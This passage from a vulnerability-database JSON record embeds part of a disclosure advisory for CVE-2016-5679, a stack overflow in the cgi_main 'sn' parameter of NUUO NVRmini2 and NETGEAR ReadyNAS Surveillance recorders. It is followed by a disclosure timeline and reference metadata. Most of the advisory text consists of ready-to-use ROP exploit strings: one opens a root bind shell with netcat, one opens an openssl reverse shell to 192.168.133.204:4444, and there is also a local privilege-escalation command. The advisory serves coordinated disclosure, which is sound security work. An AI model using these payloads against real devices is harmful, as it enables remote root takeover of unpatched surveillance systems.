aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n\n\u003e A core file is generated:\nCore was generated by `/NUUO/bin/cgi_main\u0027. \nProgram terminated with signal SIGSEGV, Segmentation fault. \n#0 0x61616160 in ?? ()\n(gdb) i r\nr0 0x0\t0\nr1 0x0\t0\nr2 0x407aa4d0\t1081779408\nr3 0x407aa9e0\t1081780704\nr4 0x61616161\t1633771873\nr5 0x61616161\t1633771873\nr6 0x61616161\t1633771873\nr7 0x61616161\t1633771873\nr8 0x331fc8\t3350472\nr9 0x1\t1\nr10 0x33db54\t3398484\nr11 0x0\t0\nr12 0x1\t1\nsp 0xbedce528\t0xbedce528\nlr 0x61616161\t1633771873\npc 0x61616160\t0x61616160\ncpsr 0x60000030\t1610612784\n(gdb) \n\nThe request can be sent by an HTTP GET or POST method. \n\n\u003e A few registers can be controlled with the sn parameter, as it can be seen in the diagram below for the NVRmini2:\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4444555566667777PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS\n\naaaa: filler\nPPPP: pc / lr register content, offset 976\n4444: r4 register content, offset 962\n5555: r5 register content, offset 966\n6666: r6 register content, offset 970\n7777: r7 register content, offset 974\nSSSS: start of stack pointer, offset 992\n\n\u003e On the ReadyNAS Surveillance one additional register (r8) can be controlled:\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa44445555666677778888PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS\n\naaaa: filler\nPPPP: pc / lr register content, offset 986\n4444: r4 register content, offset 968\n5555: r5 register content, offset 970\n6666: r6 register content, offset 974\n7777: r7 register content, offset 978\n8888: r8 register content, offset 982\nSSSS: start of stack pointer, offset 1002\n\n\u003e Exploit mitigations and constraints\nThe table below shows the exploit mitigation technologies for each target:\n NVRmini2 ReadyNAS\nNX Y Y\nRELRO Partial Partial\nASLR N Y\n\nAn additional constraint to keep in mind is that there can be no null bytes in the exploit as the vulnerability is in the sprintf copy operation (which uses a null byte as the string terminator). \n\n\u003e Exploitation in the NVRmini2 (firmware v3.0.0):\nThis example exploit creates a root bind shell on port 4444 using ROP gadgets to bypass NX. The gadgets were taken from libc-2.15.so, which is always loaded at 4066c000 in firmware 3.0.0. \n\n0x00018ba0 : pop {r3, lr} ; bx lr -\u003e located at 40684BA0 (first gadget, sets up r3 for the next gadget)\n0x000f17cc : mov r0, sp ; blx r3 -\u003e located at 4075D7CC (second gadget, set up args for system)\n0x00039ffc : system() -\u003e located at 406A5FFC (takes the argument from r0 - pointing to sp - and executes it)\nPayload (in the stack) -\u003e %6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 (\"nc -l -p 4444 -e /bin/sh \u0026\")\n\nIllustration:\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{first_gadget}aaaaaaaaaaaa{system()_address}{second_gadget}{stack}\n\nExploit for NVRmini2 firmware v3.0.0 (\"sn\" parameter value):\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%a0%4b%68%40aaaaaaaaaaaa%fc%5f%6a%40%cc%d7%75%40%6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26\n\nOther firmware versions will have different gadget addresses. On version 3.0.0 it should work without any modification. \n\n\u003e Exploitation on ReadyNAS Surveillance (version v1.1.2):\nTo develop this example exploit libcrypto.so.0.9.8 was used. The library is loaded at B6xxx000, where xxx are 4096 possible values for the memory address, as the ReadyNAS has a weak form of ASLR. For this exploit, B6CCE000 was chosen as the target base address (this was chosen randomly from a sample of collected base addresses). \n\nThe exploit connects a reverse shell to 192.168.133.204:4444 using OpenSSL. The following ROP gadgets were used:\n0x000b3d9c : mov r1, sp ; mov r2, ip ; blx r6 -\u003e located at B6D81D9C (first gadget, gets the location of the stack pointer sp, where the shellcode is located, in r1)\n0x00008690 : movs r0, r1 ; movs r0, r0 ; movs r2, r2 ; movs r2, r1 ; bx r7 -\u003e located at B6CD6691 as this is a THUMB mode gadget (second gadget, sets up the arguments to system(), putting them into r0)\n0xb6ef91bc: fixed system() address when B6CCE000 is chosen as the base address of libcrypto.so.0.9.8 (takes the argument from r0 - pointing to sp - and executes it)\nPayload: (in the stack) -\u003e %6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26 (\"mkfifo /tmp/s; /bin/bash -i \u003c /tmp/s 2\u003e\u00261 | openssl s_client -quiet -connect 192.168.133.204:4444 \u003e /tmp/s; rm /tmp/s \u0026\")\n\nIllustration:\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{second_gadget}{system_address}aaaa{first_gadget}aaaaaaaaaaaa{payload}\n\nExploit for ReadyNAS Surveillance v1.1.2 (\"sn\" parameter value):\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%91%66%cd%b6%bc%91%ef%b6aaaa%9c%1d%d8%b6aaaaaaaaaaaa%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26\n\nNote that due to the ASLR in the ReadyNAS his exploit has be attempted at few times in order for it to work. Usually less than 20 tries is enough to get the reverse shell to connect back. \n\n\u003e Local exploitation:\nThis vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command:\nCGI_DEBUG=qwe23622260 cgi_main transfer_license \u0027method=offline\u0026sn=\u003cPAYLOAD\u003e\u0027\nThe cgi_main binary is located at \"/apps/surveillance/bin/cgi_main\" on the ReadyNAS and \"/NUUO/bin/cgi_main\" on the NVRmini2. \n\nIt is likely that all other vulnerabilities in this advisory are exploitable by a local attacker, however this has only been tested for the stack buffer overflow. \n\n\n\u003e\u003e Fix: \nNETGEAR and Nuuo did not respond to CERT/CC coordination efforts (see Timeline below), so no fix is available. \nDo not expose any of these devices to the Internet or any networks with unstrusted hosts. \n\nTimeline:\n28.02.2016: Disclosure to CERT/CC. \n27.04.2016: Requested status update from CERT - they did not receive any response from vendors. \n06.06.2016: Requested status update from CERT - still no response from vendors. \n Contacted Nuuo and NETGEAR directly. NETGEAR responded with their \"Responsible Disclosure Guidelines\", to which I did not agree and requested them to contact CERT if they want to know the details about the vulnerabilities found. No response from Nuuo. \n13.06.2016: CERT sent an update saying that NETGEAR has received the details of the vulnerabilities, and they are attempting to contact Nuuo via alternative channels. \n07.07.2016: CERT sent an update saying that they have not received any follow up from both Nuuo and NETGEAR, and that they are getting ready for disclosure. \n17.07.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn\u0027t receive a response or status update. No response received. \n01.08.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn\u0027t receive a response or status update. No response received. \n04.08.2016: Coordinated disclosure with CERT. \n\n\n\u003e\u003e References:\n[1] https://www.kb.cert.org/vuls/id/856152\n\n\n================\nAgile Information Security Limited\nhttp://www.agileinfosec.co.uk/\n\u003e\u003e Enabling secure digital business \u003e\u003e\n\n",
"sources": [
{
"db": "NVD",
"id": "CVE-2016-5679"
},
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004493"
},
{
"db": "CNVD",
"id": "CNVD-2016-06321"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "VULHUB",
"id": "VHN-94498"
},
{
"db": "VULMON",
"id": "CVE-2016-5679"
},
{
"db": "PACKETSTORM",
"id": "138199"
}
],
"trust": 3.42
},
"exploit_availability": {
"_id": null,
"data": [
{
"reference": "https://www.scap.org.cn/vuln/vhn-94498",
"trust": 0.1,
"type": "unknown"
},
{
"reference": "https://vulmon.com/exploitdetails?qidtp=exploitdb\u0026qid=40200",
"trust": 0.1,
"type": "exploit"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-94498"
},
{
"db": "VULMON",
"id": "CVE-2016-5679"
}
]
},
"external_ids": {
"_id": null,
"data": [
{
"db": "CERT/CC",
"id": "VU#856152",
"trust": 3.8
},
{
"db": "NVD",
"id": "CVE-2016-5679",
"trust": 3.6
},
{
"db": "BID",
"id": "92318",
"trust": 2.7
},
{
"db": "EXPLOIT-DB",
"id": "40200",
"trust": 1.2
},
{
"db": "JVN",
"id": "JVNVU97220922",
"trust": 0.8
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004493",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201608-272",
"trust": 0.7
},
{
"db": "CNVD",
"id": "CNVD-2016-06321",
"trust": 0.6
},
{
"db": "VULHUB",
"id": "VHN-94498",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2016-5679",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "138199",
"trust": 0.1
}
],
"sources": [
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "CNVD",
"id": "CNVD-2016-06321"
},
{
"db": "VULHUB",
"id": "VHN-94498"
},
{
"db": "VULMON",
"id": "CVE-2016-5679"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004493"
},
{
"db": "PACKETSTORM",
"id": "138199"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-272"
},
{
"db": "NVD",
"id": "CVE-2016-5679"
}
]
},
"id": "VAR-201608-0072",
"iot": {
"_id": null,
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2016-06321"
},
{
"db": "VULHUB",
"id": "VHN-94498"
}
],
"trust": 1.27076023
},
"iot_taxonomy": {
"_id": null,
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2016-06321"
}
]
},
"last_update_date": "2024-11-23T21:42:52.987000Z",
"patch": {
"_id": null,
"data": [
{
"title": "ReadyNAS Surveillance",
"trust": 0.8,
"url": "https://www.netgear.com/business/products/storage/readynas/readynas-surveillance.aspx"
},
{
"title": "NUUO NVRmini 2",
"trust": 0.8,
"url": "http://www.nuuo.com/ProductNode.php?node=2"
},
{
"title": "The Register",
"trust": 0.2,
"url": "https://www.theregister.co.uk/2016/08/07/nuuo_netgear_surveillance_recorders_riddled_with_0days/"
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2016-5679"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004493"
}
]
},
"problemtype_data": {
"_id": null,
"data": [
{
"problemtype": "CWE-78",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-94498"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004493"
},
{
"db": "NVD",
"id": "CVE-2016-5679"
}
]
},
"references": {
"_id": null,
"data": [
{
"trust": 3.1,
"url": "http://www.kb.cert.org/vuls/id/856152"
},
{
"trust": 2.4,
"url": "http://www.securityfocus.com/bid/92318"
},
{
"trust": 1.6,
"url": "https://raw.githubusercontent.com/pedrib/poc/master/advisories/nuuo-nvr-vulns.txt"
},
{
"trust": 1.3,
"url": "https://www.exploit-db.com/exploits/40200/"
},
{
"trust": 0.9,
"url": "https://cwe.mitre.org/data/definitions/78.html"
},
{
"trust": 0.8,
"url": "http://www.nuuo.com/productnode.php?stid=0001\u0026node=2"
},
{
"trust": 0.8,
"url": "http://www.nuuo.com/productnode.php?stid=0002\u0026node=13"
},
{
"trust": 0.8,
"url": "http://www.nuuo.com/productnode.php?stid=0001\u0026node=14"
},
{
"trust": 0.8,
"url": "https://www.netgear.com/business/products/storage/readynas/readynas-surveillance.aspx"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/20.html"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/285.html"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/200.html"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/798.html"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/121.html"
},
{
"trust": 0.8,
"url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2016-5679"
},
{
"trust": 0.8,
"url": "http://jvn.jp/vu/jvnvu97220922/index.html"
},
{
"trust": 0.8,
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2016-5679"
},
{
"trust": 0.3,
"url": "http://www.netgear.com"
},
{
"trust": 0.3,
"url": "http://www.nuuo.com/"
},
{
"trust": 0.1,
"url": "http://tools.cisco.com/security/center/viewalert.x?alertid=48804"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5674"
},
{
"trust": 0.1,
"url": "https://www.cert.org/)"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5678"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5680"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5677"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5679"
},
{
"trust": 0.1,
"url": "http://www.agileinfosec.co.uk/)"
},
{
"trust": 0.1,
"url": "http://www.agileinfosec.co.uk/"
},
{
"trust": 0.1,
